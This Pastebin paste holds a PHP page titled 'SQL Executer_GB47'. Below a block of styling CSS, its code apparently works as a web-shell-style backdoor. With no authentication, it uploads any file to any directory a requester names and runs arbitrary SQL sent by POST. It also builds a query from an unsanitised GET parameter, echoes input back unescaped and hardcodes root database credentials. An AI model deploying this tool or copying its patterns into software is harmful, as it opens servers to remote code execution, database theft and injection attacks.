API tools faq
paste
Advertisement
Guest User

Sql Querry

a guest
Jan 21st, 2016
159
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.20 KB | None | 0 0
raw download clone embed print report
  1.         <title>SQL Executer_GB47</title>
  2.         <link href='https://fonts.googleapis.com/css?family=Montserrat' rel='stylesheet' type='text/css'>
  3.         <style>@import url(http://fonts.googleapis.com/css?family=Lato:300,400,900);
  4.  
  5. body {
  6.     background: #0000;
  7.     font-family: 'Lato', Arial, sans-serif;
  8. }
  9.  
  10. .grid {
  11.     margin: 0;
  12.     padding: 0;
  13.     list-style: none;
  14.     position: center;
  15.     width: 70%;
  16. }
  17.  
  18. .grid li {
  19.     position: center;
  20.     float: left;
  21.     font-size: 5em;
  22.     line-height: 1.5;
  23.     max-height:150px;
  24.     text-align: center;
  25.     width: 8%;
  26. }
  27.  
  28. /* Common styles for the letters */
  29. .grid li span {
  30.     display: inline-block;
  31.     font-weight: 900;
  32.     line-height: 1;
  33.     position: center;
  34.     color: hsla(0, 0%, 0%, 0.6);
  35.     perspective: 400px;
  36.     z-index: 1;
  37. }
  38.  
  39. .grid li span:before,
  40. .grid li span:after {
  41.     position: absolute;
  42.     content: attr(data-letter);
  43.     line-height: inherit;
  44.     top: 0;
  45.     left: 0;
  46.     right: 0;
  47.     bottom: 0;
  48.     z-index: 2;
  49.     -webkit-transition: all .3s;
  50.     transition: all .3s;
  51. }
  52.  
  53. .grid li span:before {
  54.     text-shadow: none;
  55.     color: hsla(0, 0%, 0%, 0.12);
  56. }
  57.  
  58. /* Colors */
  59.  
  60. .ot-letter-left span { text-shadow: 1px 4px 6px #3cd6e7, 0 0 0 hsla(0, 0%, 0%, 0.3), 1px 4px 6px #3cd6e7; }
  61. .ot-letter-left span:after { color: #3cd6e7; }
  62. .ot-letter-left:hover span:after { color: #53dbea; }
  63.  
  64. .ot-letter-right span { text-shadow: 1px 4px 6px #3cd6e7, 0 0 0 hsla(0, 0%, 0%, 0.3), 1px 4px 6px #3cd6e7; }
  65. .ot-letter-right span:after { color: #3cd6e7; }
  66. .ot-letter-right:hover span:after { color: #53dbea; }
  67.  
  68. .ot-letter-top span { text-shadow: 1px 4px 6px #3cd6e7, 0 0 0 hsla(0, 0%, 0%, 0.3), 1px 4px 6px #3cd6e7; }
  69. .ot-letter-top span:after { color: #3cd6e7; }
  70. .ot-letter-top:hover span:after { color: #53dbea; }
  71.  
  72. .ot-letter-bottom span { text-shadow: 1px 4px 6px #3cd6e7, 0 0 0 hsla(0, 0%, 0%, 0.3), 1px 4px 6px #3cd6e7; }
  73. .ot-letter-bottom span:after { color: #3cd6e7; }
  74. .ot-letter-bottom:hover span:after { color: #53dbea; }
  75.  
  76. /* Left */
  77. .ot-letter-left span:before,
  78. .ot-letter-left span:after {
  79.     -webkit-transform-origin: 0 50%;
  80.     -ms-transform-origin: 0 50%;
  81.     transform-origin: 0 50%;
  82. }
  83.  
  84. .ot-letter-left span:before {
  85.     -webkit-transform: scale(1.08,1) skew(0deg,1deg);
  86.     -ms-transform: scale(1.08,1) skew(0deg,1deg);
  87.     transform: scale(1.08,1) skew(0deg,1deg);
  88. }
  89.  
  90. .ot-letter-left span:after {
  91.     text-shadow: -1px 0px 0px hsla(360, 100%, 100%, 0.1), 3px 0px 1px hsla(0, 0%, 0%, 0.4);
  92.     -webkit-transform: rotateY(-15deg);
  93.     -ms-transform: rotateY(-15deg);
  94.     transform: rotateY(-15deg);
  95. }
  96.  
  97. .ot-letter-left:hover span:before {
  98.     -webkit-transform: scale(0.85,1) skew(0deg,20deg);
  99.     -ms-transform: scale(0.85,1) skew(0deg,20deg);
  100.     transform: scale(0.85,1) skew(0deg,20deg);
  101. }
  102.  
  103. .ot-letter-left:hover span:after {
  104.     -webkit-transform: rotateY(-40deg);
  105.     -ms-transform: rotateY(-40deg);
  106.     transform: rotateY(-40deg);
  107. }
  108.  
  109. /* Right */
  110. .ot-letter-right span:before,
  111. .ot-letter-right span:after {
  112.     -webkit-transform-origin: 100% 50%;
  113.     -ms-transform-origin: 100% 50%;
  114.     transform-origin: 100% 50%;
  115. }
  116.  
  117. .ot-letter-right span:before {
  118.     -webkit-transform: scale(0.85,1) skew(0deg,1deg);
  119.     -ms-transform: scale(0.85,1) skew(0deg,1deg);
  120.     transform: scale(0.85,1) skew(0deg,1deg);
  121. }
  122.  
  123. .ot-letter-right span:after {
  124.     text-shadow: 1px 0px 0px hsla(360, 100%, 100%, 0.1), -3px 0px 1px hsla(0, 0%, 0%, 0.4);
  125.     -webkit-transform: rotateY(15deg);
  126.     -ms-transform: rotateY(15deg);
  127.     transform: rotateY(15deg);
  128. }
  129.  
  130. .ot-letter-right:hover span:before {
  131.     -webkit-transform: scale(0.85,1) skew(0deg,-20deg);
  132.     -ms-transform: scale(0.85,1) skew(0deg,-20deg);
  133.     transform: scale(0.85,1) skew(0deg,-20deg);
  134. }
  135.  
  136. .ot-letter-right:hover span:after {
  137.     -webkit-transform: rotateY(40deg);
  138.     -ms-transform: rotateY(40deg);
  139.     transform: rotateY(40deg);
  140. }
  141.  
  142. /* Up */
  143. .ot-letter-top span:before,
  144. .ot-letter-top span:after {
  145.     -webkit-transform-origin: 50% 100%;
  146.     -ms-transform-origin: 50% 100%;
  147.     transform-origin: 50% 100%;
  148. }
  149.  
  150. .ot-letter-top span:before {
  151.     -webkit-transform: scale(1,0.95) skew(-4deg,0deg);
  152.     -ms-transform: scale(1,0.95) skew(-4deg,0deg);
  153.     transform: scale(1,0.95) skew(-4deg,0deg);
  154. }
  155.  
  156. .ot-letter-top span:after {
  157.     text-shadow: 0px 1px 0px hsla(360, 100%, 100%, 0.1), 0px -3px 1px hsla(0, 0%, 0%, 0.4);
  158.     -webkit-transform: rotateX(-15deg);
  159.     -ms-transform: rotateX(-15deg);
  160.     transform: rotateX(-15deg);
  161. }
  162.  
  163. .ot-letter-top:hover span:before {
  164.     -webkit-transform: translateY(-0.050em) scale(1,0.55) skew(-10deg,0deg);
  165.     -ms-transform: translateY(-0.050em) scale(1,0.55) skew(-10deg,0deg);
  166.     transform: translateY(-0.050em) scale(1,0.55) skew(-10deg,0deg);
  167. }
  168.  
  169. .ot-letter-top:hover span:after {
  170.     -webkit-transform: translateY(-0.035em) rotateX(-40deg);
  171.     -ms-transform: translateY(-0.035em) rotateX(-40deg);
  172.     transform: translateY(-0.035em) rotateX(-40deg);
  173. }
  174.  
  175. /* Down */
  176. .ot-letter-bottom span:before,
  177. .ot-letter-bottom span:after {
  178.     -webkit-transform-origin: 50% 0;
  179.     -ms-transform-origin: 50% 0;
  180.     transform-origin: 50% 0;
  181. }
  182.  
  183. .ot-letter-bottom span:before {
  184.     -webkit-transform: scale(1,1.05) skew(4deg,0deg);
  185.     -ms-transform: scale(1,1.05) skew(4deg,0deg);
  186.     transform: scale(1,1.05) skew(4deg,0deg);
  187. }
  188.  
  189. .ot-letter-bottom span:after {
  190.     text-shadow: 0px -1px 0px hsla(360, 100%, 100%, 0.1), 0px 3px 1px hsla(0, 0%, 0%, 0.4);
  191.     -webkit-transform: rotateX(15deg);
  192.     -ms-transform: rotateX(15deg);
  193.     transform: rotateX(15deg);
  194. }
  195.  
  196. .ot-letter-bottom:hover span:before {
  197.     -webkit-transform: translateY(-0.035em) scale(1,1.2) skew(10deg,0deg);
  198.     -ms-transform: translateY(-0.035em) scale(1,1.2) skew(10deg,0deg);
  199.     transform: translateY(-0.035em) scale(1,1.2) skew(10deg,0deg);
  200. }
  201.  
  202. .ot-letter-bottom:hover span:after {
  203.     -webkit-transform: translateY(0.045em) rotateX(40deg);
  204.     -ms-transform: translateY(0.045em) rotateX(40deg);
  205.     transform: translateY(0.045em) rotateX(40deg);
  206. }
  207. </style><center><div class="container"><div class="component">  <ul class="grid"><li class="ot-letter-left"><span data-letter="SQL">SQL</span></li><br><br><br><br><li class="ot-letter-left"><span data-letter="E">E</span></li><li class="ot-letter-right"><span data-letter="X">X</span></li><li class="ot-letter-right"><span data-letter="E">E</span></li><li class="ot-letter-right"><span data-letter="C">C</span></li><li class="ot-letter-right"><span data-letter="U">U</span></li><li class="ot-letter-right"><span data-letter="T">T</span></li><li class="ot-letter-right"><span data-letter="E">E</span></li><li class="ot-letter-right"><span data-letter="R">R</span></li></ul></div></div><br><br><br><br><br>
  208. <?php
  209.  
  210. $user = 'root';
  211. $password = 'password';
  212. $db = 'test';
  213. $host = '127.0.0.1';
  214.  
  215. if (isset($_POST['path'])){
  216. $target_dir = $_POST["path"];
  217. $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
  218. $uploadOk = 1;
  219. if (file_exists($target_file)) {
  220.     echo "<br>Sorry, file already exists.";
  221.     $uploadOk = 0;
  222. }
  223. if ($uploadOk == 0) {
  224.     echo "<br>Sorry, your file was not uploaded.";
  225. } else {
  226.     if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
  227.         $MyFiler= basename($_FILES["fileToUpload"]["name"]);
  228.         echo  "<br><br><br><a href=".$MyFiler." target='_blank' >".$MyFiler."</a> has been uploaded.";
  229.     } else {
  230.         echo "<br><br><br>Sorry, there was an error uploading your file.";
  231.     }
  232. }}
  233.  
  234.  
  235. $sql = $_POST['sql'];
  236. echo    '<br><br><br><form method="post" enctype="multipart/form-data"><br>
  237.         Directory:<br>
  238.         <input type="text" name="path" value="'.getcwd().'/"><br><br>
  239.         <input type="file" name="fileToUpload" >
  240.         <input type="submit" value="Upload" name="submit"><br>
  241.         </form><form method="post">
  242.         <textarea name="sql" rows="20" cols="80" spellcheck="false" wrap="off" >'.$sql.'</textarea><br>
  243.         <input value="Submit" name="sqlcmd" type="submit"> <br>
  244.         </form>
  245.         <table style="border: solid 1px black;">
  246.         <th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th>';
  247.  
  248.  
  249.  
  250. class TableRows extends RecursiveIteratorIterator {
  251.     function __construct($it) {
  252.         parent::__construct($it, self::LEAVES_ONLY);
  253.     }
  254.  
  255.     function current() {
  256.         return "<td style='width:150px;border:1px solid black;'>" . parent::current(). "</td>";
  257.     }
  258.  
  259.     function beginChildren() {
  260.         echo "<tr>";
  261.     }
  262.  
  263.     function endChildren() {
  264.         echo "</tr>" . "\n";
  265.     }
  266. }
  267. if (isset($_GET['sql'])){
  268.    
  269. try {
  270.     $conn = new PDO("mysql:host=$host;dbname=$db", $user, $password);
  271.     $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  272.     $stmt = $conn->prepare("select * from ".$_GET['sql']);
  273.     $stmt->execute();
  274.  
  275.     // set the resulting array to associative
  276.     $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
  277.     foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) {
  278.         echo $v;
  279.     }
  280. }
  281. catch(PDOException $e) {
  282.     echo "Error: " . $e->getMessage();
  283. }}
  284. if (isset($_POST['sql'])){
  285. try {
  286.     $conn = new PDO("mysql:host=$host;dbname=$db", $user, $password);
  287.     $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  288.     $stmt = $conn->prepare($sql);
  289.     $stmt->execute();
  290.     $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
  291.     foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) {
  292.         echo $v;
  293.     }
  294. }
  295. catch(PDOException $e) {
  296.     echo "Error: " . $e->getMessage();
  297. }}
  298. $conn = null;
  299. echo "</table>";
  300. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!